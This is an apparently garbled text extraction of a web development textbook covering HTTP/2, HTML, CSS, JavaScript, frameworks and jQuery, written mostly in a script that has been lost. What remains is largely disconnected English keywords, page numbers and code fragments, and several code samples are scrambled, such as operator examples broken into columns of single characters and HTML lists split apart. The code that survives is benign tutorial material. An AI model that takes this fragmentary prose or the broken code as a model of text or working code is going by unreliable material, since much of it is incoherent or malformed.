Professional Documents
Culture Documents
2.1
Fairway Web
License - CC-BY-NC-SA
This document, Professional Web Developer 2.1 by Ei Maung is licensed under a
Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
This document is free to share, copy, distribute and transmit. And, also allow to remix or
adapt to this document. But, you must attribute the work in the manner specified by
the author or licensor (but not in any way that suggests that they endorse you or your
use of the work). And, you may not use this work for commercial purposes. If you alter,
transform, or build upon this work, you may distribute the resulting work only under the
same or similar license to this one.
For any reuse or distribution, you must make clear to others the license terms of this work.
THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE
OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT
LAW IS PROHIBITED - http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
10
13
() Web Standards
27
50
95
() JavaScript
Web Technology
125
() JavaScript Frameworks
139
() jQuery
175
189
() PHP Basic
242
300
325
347
369
() Model-View-Collection
387
() HTML5
422
() Web Services
432
() RESTful URL
437
() Mobile Web
452
472
() Performance Optimization
482
497
502
()
509
()
Web Developer
Cloud, Big Data, Social Media, Machine & Machine Communication,
Mobile Internet Web Application Development Knowledge
Professional Web Developer
There are always two types of programmers. Those who understand the web and those who
don't. And than there is a third type of programmer. Those that seem to understand the web, but
don't. Being third at anything is not fun! The journey from this third type of programmer to the
one that can fully grasp the potential of the web can not be achieved without having a great
foundation in core web concepts.
And this is why, and this is truly why I think this new book from Ko Ei Maung would be a
wonderful contribution to make the web a smart and snappy place from our corner of the world.
As a firm believer in the web and web technologies, I could not be more pleased. This book
espouses all the concept and core undertakings every web developer should come to terms with.
It is a foundation that every CTO and Project Manager wish they had both the time and energy to
explain over and over again to their teams and to their recruits.
Having such nuggets of knowledge in book form means that educators and entrepreneurs will be
freed from teaching and training foundation materials, there by allowing them to focus more on
what matters most. What matter most is creating more and more people that can learn more
new technologies. Technology in general and the service sector in particular is what economist
like to call "Tertiary Economics". The third wave of economic growth. As a country we are at the
edge of this phase of growth; a nation that is giving smart people a chance to use their
intellectual talent and skills in it's economic growth. This is such a book that aims to make that
happen in small steps towards the larger goal of making the knowledge industry a first class
citizen.
But this is not the only reason I find this book timely. Over the last five years the web has been
seeing the largest and most rapid growth in it's history. A plethora of new technologies like dart
and asm.js, node and backbone, angular and ember and the list of endless new frameworks from
the micro to the behemoths has come out. Each one of them as interesting and useful as the
other. Which one do we choose for our next project? Only when we truly under the core web
technologies will be able to arrive at an informed and valid choice. This book than will go a long
way in doing just that and more.
May you all love the web.
Ravi
COO, Geo Mandalar Investment & Technology
CTO, NovaSteps Technologies
( )
( )
(MCPA Professional Series)
( )
Web Developer
( )
Web Development
Programming Programming
Programmer
Programming Language
Junior Web Developer
Senior Web Developer
Version 2.1
() () HTTP/2
HTML5
Version 2.1
Full Stack Developer Software Developer Software
Process Management, Project Management, Architecture Design, Server Administration
Linux OS Developer Ubuntu Linux
Rockstar Developer
Process Management, Project Management Architecture Design
Ubuntu Linux Rockstar Developer
Fairway Web
10
Web Technology
Software Development
Business Solution, Personal Productivity App, Communication
Software, Game Software Desktop, Tablet, Smartphone Software
Device Software
Distributed Software Distributed Software Client, Server Communication Protocol
11
Web Developer
Web Development
13
() Web Standards
Internet, Web, W3C and HTTP
1.1
Computer
Network
Network Network
Network
()
()
ARPA (Advanced Research Project Agency)
ARPA
Joseph Licklider Man-Computer Symbiosis
Network
Licklider ARPA Information Process Office
Network
ARPANET
Network
Network Network
Packets Switching
ARPANET Packets Wwitching
JANET Network CompuServe
Network
14
Private Network
Implementation Network
ARPA Satellite Network
Packets Project Robert Kahn Vint Cerf
Mask Protocol
"Internet Transmission Control Program"
Protocol Network
Network
ARPA Software
"Telecommunication Protocol/Internet
Protocol (TCP/IP)"
TCP/IP
Network
Tablet
Device .
Device Cisco
Device
World Wide Web, Email
Email World Wide Web
""
""
World Wide Web Email
Instant Messaging (IM), Internet Relay Chat (IRC), Voice Over
Internet Protocol (VoIP), Secure Shell (SSH), File Transfer Protocol (FTP)
Gopher
Gopher
Gopher
Gopher
15
Gopher
Web
World Wide Web
Web ()
1 Hypertext Document
Web Document
Hypertext Document
Table (Image)
Form Document
Document Hyperlink Hyperlink
Document Document
2 Web Server
16
Web
Domain Name
URL (Uniform Resource Locater)
Web URL (-)
(-) URL
3 Web Browser
17
18
(-) URL
http:// " "
HTTP Web
Document Web Server Web Client
Web Client Web Server Software Web
Client
Web Browser Web Client Server
Native App Web Client Web Client
Request Web Server
Respond Web Client
Web Server
Client Request
19
() Controlling the Environment
Request Header
Server
HTTP
Request Format Client
Browser Address Bar URL Web Browser HTTP
Request Format Server
Browser Developer Tools Tool LiveHTTPHeader Firefox
Addon
20
Server Respond
21
Request
Code HTTP Status Code Code
200 OK Request
Code
301 Moved Permanently
Client Request
URL
Request
304 Not Modified Request Header If-Modified-Since:
Server
307 Temporary Redirect
301 Request
URL
403 Forbidden Request Client
404 Not Found Server
500 Internal Server Error Server Error
503 Service Unavailable Server Error
Code Web Server Down
Code
Status Code Wikipedia List
of HTTP Status Codes Article
Link: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
Respond Header
Respond Header Server
Content Size
22
Pull Technology
(-) HTTP
23
Stateless Protocol
1.5 HTTP/2
HTTP HTTP/1.1
()
Standard Version Version
HTTP/1.1 REST (Representational State Transfer)
Protocol
Client Server Machine Processable
Request/Response Header Cache
Stateless Protocol Web App
Protocol Software Protocol
HTTP/1.1 Client Server
24
JavaScript CSS
CSS Sprite Icon Image
Image
Data URL Inline
Resource () Performance Optimization
HTTP/2 Multiplex Client Server Connection
Resource Transfer
Resource
Connection Connection Resource
HTTP/2 HTTP/1.1
Developer
CSS Sprite Inline Image Resource
HTTP/2 Server Push Browser Web
Client Resource Cache
HTTP Pull Technology
Client Server HTTP/2
Pull Technology Server Resource
Client Cache Push Client index.html
index.html style.css app.js
Client HTTP/2 Server Resource Client
Client
Request Server Cache
Request
HTTP/2 Header Compression HTTP/1.1
Compression HTTP/1.1 Compression Content Compress
HTTP/2 Content Request/Response Header Compress
25
HTTP/2 HTTP/1.1
HTTP/2 HTTP/1.1 Backward Compatible
HTTP/1.1 Software HTTP/2
HTTP Request Methods Response Status
Code Stateless HTTP/1.1
Software HTTP/2
() HTTP/1.1
SPDY
Google
SPDY HTTP/1.1 Server Push, Header Compression
Protocol Official Standard Google Chrome,
Firefox Browser SPDY Facebook, Twitter, Google Web
App SPDY HTTP/2
HTTP/2
() Internet Engineering Task Force (IETF) HTTP/2
SPDY () ()
() HTTP/2 Release Candidate
Firefox, Chrome, Internet Explorer 11, Opera Browser HTTP/2
Support HTTP/2
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
27
28
29
Microsoft Netscape W3C Web Standard
WaSP
Web Developer Web Standard
30
Wired, ESPN Website Website Web Standard
CSS Zen Garden Website
HTML CSS Website Design
Web Developer Web Design
Web Standard Mozilla Firefox
Version Google Gmail Gmail Web
Standard JavaScript DOM
Application JavaScript Web Developer
Application O'Reilly Media Tim-O'Reilly
Web2.0 Web2.0
Web Standard
Application Web
Application
Web Browser Web Standard
31
Document
HTML 4.0 4.01 HTML Semantic Data
Structure HTML Web Document
Web Application
Data Structure Font Text
Format Document Browser Support
Concept Web Application
W3C HTML 4.01
Element Version HTML 4.01
Website Backward Compatibility
W3C HTML XHTML Markup Language
XHTML X eXtensible W3C
Data Model Language XML
HTML
HTML Semantic Element XHTML
- XHTML Element Tag
HTML
XHTML Element Close Tag
Close Tag
Empty Element Self-Closing Element ( <br /> <img />) Attribute Value Quote
XHTML HTML
Semantic Document Markup
Language
WaSP Web Standard Web Developer XHTML
Web Document Developer XHTML
WaSP XHTML Semantic Web Document Browser Web Standard Support
XHTML Version 1.1
Version 2 W3C
XHTML 2.0 HTML5 Web Document
Markup Language
32
2.4 HTML
33
Basic Elements
HTML Document
Text Document Text Document
Form
Hyperlink Document
Link
Document Main Heading
Sub Heading
HTML Document () Main Heading
<h1> Element <h2> Element
<h3> Element <h4> <h5> <h6> ()
Document
<p> Element
Document
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title> - </title>
</head>
<body>
<h1> </h1>
<img src="nyomya.gif" alt=" ">
<p>
( )
</p>
<p>
( ) ( )
</p>
<h2> </h2>
<p>
</p>
</body>
</html>
HTML
34
35
36
title Attribute
Element Attribute
Search Engine Spider
<a> Element
Attribute <a>
title Attribute Element
HTML Element
Mouse
Element title Attribute Tool Tip
Attribute
Web Browser Link Right Click "Open Link in New Window" Option
Link Window
Window Window
Option " Window "
Force Usability
target="_blank" Attribute
Internal Link (Anchor) Document
HTML Element ID
<h2 id="ch2">Chapter Two</h2>
37
Lists
List <ol>
<ul>
Bullet
<ul> <ol> Element Item List Item Element <li>
Element
<ol>
<li>Chapter
<li>Chapter
<li>Chapter
<li>Chapter
</ol>
38
One</li>
Two</li>
Three</li>
Four</li>
<ul>
<li>Yangon</li>
<li>Mandalay</li>
<li>Naypyidaw</li>
<li>Monywa</li>
</ul>
1.
2.
3.
4.
Chapter
Chapter
Chapter
Chapter
One
Two
Three
Four
Yangon
Mandalay
Naypyidaw
Monywa
( )
reversed Attribute <ol reversed>
Element Attribute Attribute Name Value Attribute
Attribute Attribute Attribute Name Value
- <ol reversed="reversed"> XHTML
Value Attribute Name
Table
<table>
<tr>
<td>484</td>
<td>MX</td>
<td>MEX</td>
<td>Mexico</td>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
<tr>
<td>524</td>
<td>NP</td>
<td>NPL</td>
<td>Nepal</td>
</tr>
</table>
484
MX
MEX
Mexico
504
MA
MAR
Morocco
104
MM
MMR
Myanmar
524
NP
NPL
Nepal
39
40
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
</table>
Code
ISO
ISO3
Name
504
MA
MAR
Morocco
104
MM
MMR
Myanmar
<table>
<thead>
<tr>
<th colspan="4">Country List</th>
</tr>
</thead>
<tbody>
<tr>
<th>Code</th>
<th>ISO</th>
<th>ISO3</th>
<th>Name</th>
</tr>
<tr>
<td>504</td>
<td>MA</td>
<td>MAR</td>
<td>Morocco</td>
</tr>
<tr>
<td>104</td>
<td>MM</td>
<td>MMR</td>
<td>Myanmar</td>
</tr>
41
</tbody>
<tfoot>
<tr>
<td colspan="4">© Copyright 2013</td>
</tr>
</tfoot>
</table>
Country List
Code
ISO
ISO3
Name
504
MA
MAR
Morocco
104
MM
MMR
Myanmar
Copyright 2013
<thead> Element <td> colspan="4" Attribute
Attribute Column colspan="4"
" " Country List
Column
<tfoot> Element © HTML Entitle
Symbol Ampersand
(&)
Semi-Colon (;) © Symbol
HTML Entitle Symbol
© Symbol Symbol
- [Space]
™ -
® -
< - <
> - >
» -
« -
Less Than Sign ( < ) Less Than Sign
Browser < Sign Tag <
< < Less Than Sign Browser
42
Table Layout
Formatting Elements
43
Format Element ()
Style Detail CSS
W3C XHTML <b> <i> <s> <u> Formatting Elements
Document
Semantic Element
<strong> <em> <del> XHTML
<i>Hello, World!</i>
Hello, World!
<em>Hello, World!</em>
<i> Element <em> Element
" ?"
<em> Emphasis
( )
<i> Element <em> Element
Semantic
HTML5 <u> Element Formatting
Elements
<b> - Bold (Example)
<i> - (Example)
<s> - Strike-through (Example)
<strong> - (Example)
<em> - (Example)
<del> - (Example)
<sup> - Superscript (Example 2nd)
<sub> - Subscript (Example H2O)
<code> - Program Code (Example)
<pre> - Format HTML Whitespace
<pre> Element Whitespace
HTML Document Program Code
Element
44
45
Option Radio
Option name Attribute <input type="radio" name="gender" value="male">
<input type="radio" name="gender" value="female">
46
value="1">Apple</option>
value="2">Orange</option>
value="3" selected>Mango</option>
value="4">Grape</option>
HTML Form
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>HTML Form</title>
</head>
<body>
<h1>Form Inputs</h1>
<form>
<label for="fname">Name</label><br>
<input type="text" id="name"><br>
<label for="email">Email</label><br>
<input type="text" id="email"><br>
<label for="address">Address:</label><br>
<textarea id="address"></textarea><br>
<br>
<input type="radio" name="gender" id="male">
<label for="male">Male</label>
47
48
Conclusion
Back-end Platform
Professional Web Developer
50
51
- Element Style
Syntax (-)
(-) CSS
Selector, Property, Values Selector h1, p, img, li HTML Element
Property color, background, border, font-style
Style Property Values blue, 20px, bold, center Style
Value - <p> Element CSS
p {
color: green;
}
52
h1 {
font-size: 24px;
}
ul {
list-style: square;
line-height: 20px;
}
a {
color: yellow;
text-decoration: none;
}
</ul>
<p id="highlight"> </p>
<ul id="sitemap">
</ul>
<p id="foot-note"> </p>
( )
53
#nav {
background: pink;
}
Structure <p> Element
id="highlight" Element p#highlight ( ) #highlight
ID Selector
Class Selector ID Selector Element class Attribute
# Sign ID Selector Dot ( . ) Class Selector
Element Structure
<p> </p>
<p class="note"> </p>
<p> </p>
<p class="note"> </p>
( )
.note {
color: gray;
font-size: 11px;
}
54
.note
HTML Document ID Elements CSS ID Element
ID Element Identify Unique
CSS JavaScript Element ID Element
Class Element Classify
Element Class
Front-End Expert CSS Element ID Class
Selector
Selector, Child Selector, Attribute Selector
Descendant
55
56
57
3.4 Pseudo-classes
a {
color: blue;
}
a:visited {
color: gray;
}
58
Link Link
:active Pseudo-class Element Click ( ) Touch
Style Element
Click
Element
button:active {
background: gray;
}
Text Input
Element
Cursor Focus
Pseudo- class Attribute Selector
:first-child Pseudo-class Select Element Element
Style
:last-child Pseudo-class
:last-child Select Element Element
Style
#nav li:last-child {
border: 0 none;
}
#page p:first-child {
font-weight: bold;
}
59
Rules
p.note, #footer .copyright, code {
background: #efefef;
font-size: 12px;
}
60
p {
background-color: yellow;
}
61
p {
background-color: #FFFF00;
}
Hex Value
# Sign
() Hexadecimal
Decimal Number system 0 9 ()
Hexadecimal 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F ()
Number System
Hex FF Decimal 255 Hex Value
00 FF () FFFF00 R = FF, G =
FF B = 00 Red Green FF
Green 00
62
63
alert.png Image
alert.png
Image <p class="alert"> Element Background
p.alert {
background-image: url("alert.png");
}
64
p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
}
Background
p.alert {
background-image: url("alert.png");
background-repeat: no-repeat;
background-position: top right;
}
65
66
Property
p.alert {
background: #FFD url(alert.png) no-repeat 10px center;
border: 2px solid #DDA;
padding: 10px 10px 10px 50px;
border-radius: 5px;
}
CSS
Warning Message
67
h1 {
color: #224477;
text-align: center;
}
p {
color: #555;
text-align: justify;
}
Web
Screen text-indent Property
p {
text-indent: 50px;
}
68
p {
font-family: Arial, Helvetica, sans-serif;
}
Fallback Arial
Font Browser <p> Element Arial Helvetica
Helvetica sans-serif Font
Font Browser Default Font
Document Font
p {
font-family: Padauk, Maynamr3, "Myanmar Text";
}
69
(-)
http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
Size
font-size Property CSS font-size
Size Unit px, pt, in, mm, em, %
pt, in, mm Unit Screen
Screen Resolution 1in 1 inch Screen
() px, em % px Unit Size
" " font-size: 13px; 13px
70
em % Relative Unit Size font-size:
200%; " Size Size "
font-size: 80%; " Size "
Parent Element
Element Structure <body>
<p>
<b> </b>
</p>
</body>
body {
font-size: 16px;
}
p {
font-size: 200%;
}
/* 32px */
p b {
font-size: 40%;
}
CSS /* */
/* */
em Unit
% 1.5em " " 3em
" " " " "
" font-size
Size
width: 30em; Element ()
width: 50%;
em % font-size
Size Border Size, Width, Height, Margin, Padding
71
Relative Unit
Design
Decision
px Unit () Mobile Web em %
Typography
Size Balance
Balance
(-)
http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
Text
Property line-height
- font-size 16px
16px
Typography
line-height Size
72
body {
font-size: 16px;
line-height: 1.5em;
}
http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
(-)
source:
73
letter-spacing -1px
Minus
Measure
()
width
Property
p {
font-size: 14px;
width: 30em;
}
(-)
source:
74
75
76
CSS Rule File css Extension ( style.css, layout.css, widget.css) File File
File Content-Type Attribute File
77
78
<style>
body {
font-size: 16px;
line-height: 1.5em;
color: #222;
}
h1 {
font-size: 21px;
font-weight: normal;
}
</style>
Browser Style
Default External Style Internal Style Inline
Style Cascading Order
Style
79
Rule Priority
Element ID Class
80
[HTML]
<p id="note" class="note"> </p>
[CSS]
#note {
background-color: #FFFFDD;
}
.note {
background-color: yellow;
}
81
82
3.12 Layouts
83
84
85
<div class="wrap">
<div class="header"></div>
<div class="content"></div>
<div class="sidebar"></div>
<div class="footer"></div>
</div>
</body>
</html>
86
87
margin-
88
#content {
width: 600px;
height: 380px;
border: 4px solid #519b7e;
margin: 20px;
padding: 10px;
}
89
90
<li><a href="#">Contact</a></li>
<li>
<a href="#">Services »</a>
<ul class="sub">
<li><a href="#">Social Media</a></li>
<li><a href="#">Web Development</a></li>
<li><a href="#">SEO</a></li>
</ul>
</li>
<li><a href="#">Products</a></li>
</ul>
</body>
</html>
File Name
HTML
Structure <ul> Element Menu List <li> Element
<ul> Element Sub-Menu
Services
» HTML Right Arrow Symbol ( )
CSS .nav, .sub Select <ul> list-style: none margin: 0;
padding: 0; Bullet
<li> Block Element <li> .sub > li
Select float: left;
Child Selector Direct
Child <li> float <ul class="sub">
<li>
.sub display: none; display
Property Inline/Block none Value
display: none Sub Menu
.nav > li:hover .sub display: block; li
Mouse
Sub Menu
JavaScript Dorp-Down Menu
91
Element Document
Regular Flow Element Regular Flow
\ CSS position
Property absolute top/bottom, right/left Property
#box {
position: absolute;
top: 100px;
left: 150px;
}
92
93
#box-two {
position: absolute;
top: 150px;
left: 150px;
width: 400px;
height: 280px;
background: #8a5;
z-index: 1;
opacity: 0.8;
}
Conclusion
CSS2.1
Layout
float, clear
Layout
HTML5 CSS3 Layout
Flex Box Box Model Margin,
Padding, Border Width, Height Bordered Box
Mobile Devices Website
Device Resolution Screen Size Media Query
Gradient, Box Shadow Visual Effect Animation
Font Website
Font Font Font Embed
Border Image, Multiple Background,
Background Image Size
() HTML5 CSS3
() Mobile Web CSS3 Media Query
CSS3 CSS4 CSS5
CSS
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
95
() JavaScript
It's All about DOM Though
96
Ajax Language
Ajax JavaScript Ajax
() Ajax with jQuery Web
Document Application Platform
NodeJS Server-side JavaScript
HTML5 Application Development
JavaScript API JavaScript
Soft
ware Development HTML5 ()
NodeJS Rockstar
Developer ()
C/C++, Java, C#, Objective-C, PHP, Ruby, Python
Programmer JavaScript
JavaScript Programming
Programming Language
JavaScript Object-oriented
Object-oriented Language
Object Class JavaScript Class
Object Class Object-oriented
Language Classical OOP
JavaScript Prototype OOP
JavaScript
Object JSON (JavaScript Object Notation) ()
jQuery JavaScript OOP Rockstar Developer
()
JavaScript Functional Programming Language
Nameless Function Closure Callback Function
97
98
var x = 123;
99
Function
(-)
100
101
- id="note"
Element Select obj Variable
obj Variable id="note"
Element
document.getElementById
JavaScript Case Sensitive
obj.style.color="red" (-)
color CSS Property
"red" CSS Value
background-color CSS Property backgroundColor
Dash ( - ) JavaScript Minus Operator Dash
- obj.style.backgroundColor = "yellow" CSS Property
102
Element <button>
- document.getElementById("note").style.color = "red" Select
Element Variable Cache
103
</head>
<body>
<ul class="nav">
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li onClick="toggleSub()">
<a href="#">Services »</a>
<ul class="sub" id="sub">
<li><a href="#">Social Media</a></li>
<li><a href="#">Web Development</a></li>
<li><a href="#">SEO</a></li>
</ul>
</li>
<li><a href="#">Products</a></li>
</ul>
<script>
function toggleSub() {
var obj = document.getElementById("sub");
if( obj.style.display == "block" ) {
obj.style.display = "none";
} else {
obj.style.display = "block";
}
}
</script>
</body>
</html>
obj.style.display = "none";
} else {
obj.style.display = "block";
}
}
104
105
// => 12
Data Type
Data Type
( )
106
Array
Index
Array Index Zero (0) Array
length Property
var months = ["Jan", "Feb", "Mar", "Apr", "May"];
var len = months.length; // => 5
Static Type Language Array Data
Type JavaScript
4.5 Operators
x
r
a
x
i
=
=
=
=
=
y + z;
123;
3.14 * r * r;
(a * a) / (b + c) 3;
5 % 3;
// => 2
+ Operator
var name = "John Doe";
var greet = "Hello " + name;
var price = "$" + 3 + 4;
var x = 8;
x -= 3;
// => 5
++ Operator ()
var x = 5;
x++;
++x;
x--;
--x;
107
//
//
//
//
=>
=>
=>
=>
-- Operator ()
6
7
6
5
a
b
c
d
i
j
=
=
=
=
=
=
x
x
x
x
5
5
== y;
!= y;
> 5;
>= 5;
== "5"
=== "5"
//
//
//
//
//
//
=>
=>
=>
=>
=>
=>
false
true
false
true
true
false
// => false
// => true
// => false
108
&&
months null boolean false
null len null months.length
Error months null
months.length len months Array length
&& Guard Operator
|| Default Operator
&&
boolean true
false ( )
var x = a || 10;
a x a
x false x
10
a a 10 ||
Default Operator
! !! Operator boolean
var a = !!undefined;
var x = !!"Hello";
// => false
// => true
109
( )
if( today == "sunday" ) say( "Super Sunday!" );
( )
if( today == "sunday")
say( "Super Sunday!");
110
Switch Statement
switch
case
today monday,
tuesday, wednesday, thursday say("Boring weekdays")
today friday say("TGIF!")
break case
default:
Loops
111
112
init Loop
condition while Loop condition Condition true Loop
Block Increment Loop Block
for Loop
for(i = 0; i < len; i++) {
data += "<option>" + months[i] + "</option>";
}
113
114
115
p {
font-size: 15px;
line-height: 1.5em;
}
button {
padding: 10px 20px;
}
/* Dialog */
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: #000;
opacity: 0.8;
display: none;
}
#dialog {
position: absolute;
top: 16%;
left: 35%;
width: 30%;
border: 4px solid #ccc;
background: #fff;
display: none;
}
#dialog h2 {
margin: 0;
padding: 8px;
background: #ddd;
font-size: 17px;
}
#dialog h2 span {
display: block;
float: right;
padding: 0 5px;
color: #c22;
cursor: pointer;
}
#dialog form {
padding: 20px;
}
input[type=text] {
padding: 6px;
width: 90%;
}
textarea {
padding: 6px;
font-family: Arial, Helvetica, sans-serif;
width: 90%;
height: 140px;
}
116
117
input[type=submit] {
padding: 8px 18px;
margin-top: 10px;
}
</style>
</head>
<body>
<h1>This is my awesome website!</h1>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim
veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat.
</p>
<p>
Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
</p>
<button onClick="showDialog()">Contact Me?</button>
<!-- Dialog -->
<div id="overlay" onClick="hideDialog()"></div>
<div id="dialog">
<h2>Contact Me? <span onClick="hideDialog()">×</span></h2>
<form>
<input type="text" placeholder="Your email">
<textarea placeholder="Your message"></textarea>
<input type="submit" value="Send">
</form>
</div>
<script>
function showDialog() {
document.getElementById("overlay").style.display = "block";
document.getElementById("dialog").style.display = "block";
}
function hideDialog() {
document.getElementById("overlay").style.display = "none";
document.getElementById("dialog").style.display = "none";
}
</script>
</body>
</html>
118
119
120
.panel {
min-height: 200px;
border: 1px solid #c22;
border-top: 0 none;
padding: 15px;
}
#tab-2 {
background: #e55;
}
#panel-2 {
display: none;
}
</style>
</head>
<body>
<ul class="tab-bar">
<li id="tab-1" onClick="switchOne()">Tab One</li>
<li id="tab-2" onClick="switchTwo()">Tab Two</li>
</ul>
<div class="panel" id="panel-1">Panel One</div>
<div class="panel" id="panel-2">Panel Two</div>
<script>
function get(obj) {
return document.getElementById(obj);
}
function switchOne() {
get("tab-1").style.background = "#fff";
get("tab-2").style.background = "#e55";
get("panel-1").style.display = "block";
get("panel-2").style.display = "none";
}
function switchTwo() {
get("tab-1").style.background = "#e55";
get("tab-2").style.background = "#fff";
get("panel-1").style.display = "none";
get("panel-2").style.display = "block";
}
</script>
</body>
</html>
121
Code
122
Conclusion
123
Web Developer Internet Web
Web Development Courses
(Reference)
(Everlearner)
125
() JavaScript Frameworks
It's a Framework. No, It's just a Library.
Macromedia
Rich Internet Application (RIA)
HTTP
Application RIA Concept
Web Standards Web Standard HTML, CSS,
JavaScript Application
Macromedia Flash
( Adobe Flash), JavaFX Microsoft Silverlight Plugin
Macromedia Adobe Macromedia
Adobe
RIA Web
Application
126
Framework
127
128
if (window.XMLHttpRequest) {
// Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
httpRequest.onreadystatechange = alertContents;
httpRequest.open('GET', url);
httpRequest.send();
129
Language Class
var FirstClass = Class.create({
// Constructor
initialize: function () {
this.data = "Hello World";
},
propertyOne: someValue,
propertyTwo: someValue,
methodOne: function() {
// do something
},
methodTwo: function() {
// do something
}
});
130
Mouse Element
Prototype Script.aculo.us Rich User Interface
Prototype Website: prototypejs.org
Script.aculo.us Website: script.aculo.us
5.2 MooTools
Framework
MooTools Framework
Core Module
Utility Class Module Classical OOP
131
5.3 dj toolkit
132
133
134
YUI Website: yuilibrary.com
5.5 ExtJS
Client-side MVC JavaScript Framework
MVC Model-View-Controller MVC () Model-ViewController
Code
Code
MVC Framework Server-side Web
Application Server-side Script Language
135
JavaScript Framework
Client-side MVC Framework MVC Model-View-Controller ModelView-Collection Framework MVC
MVVM Framework
MVVM Model-View-ViewModel MVP
Framework MVP Model-View-Presenter
Single Page Application JavaScript Code
Single Page Application Routing,
Data Binding Client-side
MVC Framework ()
136
5.7 Others
137
Language JavaScript
Template System
Underscore.js Website: underscorejs.org
Library
Raphal Three.js
RequireJS, PDF.js,
Conclusion
JavaScript Framework
Web Development JavaScript
Framework
Framework
jQuery jQuery
Framework
Open Source Open Source
()
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
139
() jQuery
Write less, do more
140
Nameless Function
Function
Function
Function Code
Sub-program
Evaluate
Closure
function makeAdder(x) {
return function(y) {
return x + y;
};
}
var add5 = makeAdder(5);
var add10 = makeAdder(10);
add5(2);
add10(2);
// => 7
// => 12
makeAdder() Function x
Nameless Function return Nameless Function y
141
x y
var add5 = makeAdder(5); add5
makeAdder() Function function(y) { return x + y; } Function
x
5 y add10 Variable
add10 Function x 10
add5(2) add5 Variable Function Evaluate
y 2 x 5
7
add10(2) Evaluate add10 x 10 12
Function add5 x add10 x
Closure
JavaScript Function First-Class Nameless Function
Function
142
class Car
{
var wheels = 4;
var fuel = 60;
function drive() {
this.fuel -= 5;
// do something else
}
}
var toyota = new Car();
print toyota.wheels;
// => 4
toyota.drive();
print toyota.fuel;
// => 55
143
// => 4
// => 6
// => 55
JavaScript Code
JSON Object Hash Array Object ( . ) Operator
Array toyota.wheels
toyota['wheels']
144
() JavaScript HTML Element JavaScript
Element Select document.getElementById DOM Selector jQuery
jQuery Object jQuery Object jQuery
Prototype Framework $ Sign $ Sign jQuery Object
$ Sign jQuery Object
$ Sign
jQuery Selector
Element CSS Selector Select
jQuery("p.note") ( ) $("p.note")
class="note"
<p> Element Select p.note ()
Element Selector, ID Selector, Dependent Selector, Child Selector, Attribute Selector,
Group Selector, Pseudo-class CSS Selector
( )
$("#note").html("Hello from jQuery").css("color", "red");
145
Property JSON
Parameter
$("#note").css("color", "red").css("background-color", "yellow");
( )
$("#note").css( { "color": "red", "background-color": "yellow" } );
css() Function html()
Function css() Function jQuery Function
Select Object Select Element jQuery
Function
146
<!doctype html>
<html>
<head>
<title>Hello jQuery</title>
</head>
<body>
<p id="note">Hello, World!</p>
<script src="jquery.js"></script>
<script>
$("#note").html( "Hello from jQuery!" );
$("#note").css({
"color": "red",
"background-color": "yellow",
"padding": "10px"
});
</script>
</body>
</html>
<script> Element src Attribute jquery.js jquery.js File
Path Name
id="note"
<p> Element Element Content "Hello,
World!" jquery.js File <script> Element src Attribute
<script> Element JavaScript
$("#note").html( "Hello from jQuery!" );
-
#note Element Content "Hello, World!" "Hello from
jQuery!" Style css() Function
#note Element CSS Style
padding 10px
147
Duration $("#note").hide("slow");
Fade Effect
----------------------------------------------------------------------------------------$(selector).fadeOut() hide()
Duration
Fade Effect
148
$("#note").fadeOut("slow", function() {
alert("Done Hiding the Note.");
});
149
text() Function
"<b>Hello</b>" "<b>Hello<b>"
Content
----------------------------------------------------------------------------------------$(selector).val() Form Input Element value ( )
$("#fname").val("John");
var first= $("#fname").val();
----------------------------------------------------------------------------------------$(selector).appendTo() Select Element Element
-
150
$("li").appendTo("ul#menu");
----------------------------------------------------------------------------------------$(selector).clone() Select Element Element
$("li").clone().prependTo("#menu");
Element
$("p#note").wrap("<div>");
151
Element
( )
$("#note").height("400px")
#note Element height Style 400px
CSS height Value
----------------------------------------------------------------------------------------$(selector).width() height()
Element
Top
// #note Element
pos.top;
// #note Element
Left Position
Top Position
152
Element Class
- <div class="row center
clear-fix"> <div> Element row, center, clear-fix Class ()
addClass() Class Class
Class $("#note").attr("class", "active")
Class Element Attribute
153
<ul id="fruits">
<li data-id="123" data-type="sweet">Papaya</li>
</ul>
Data Value
154
155
----------------------------------------------------------------------------------------$(selector).mouseenter() - Element
Function
Mouse
156
157
Menu Boxes
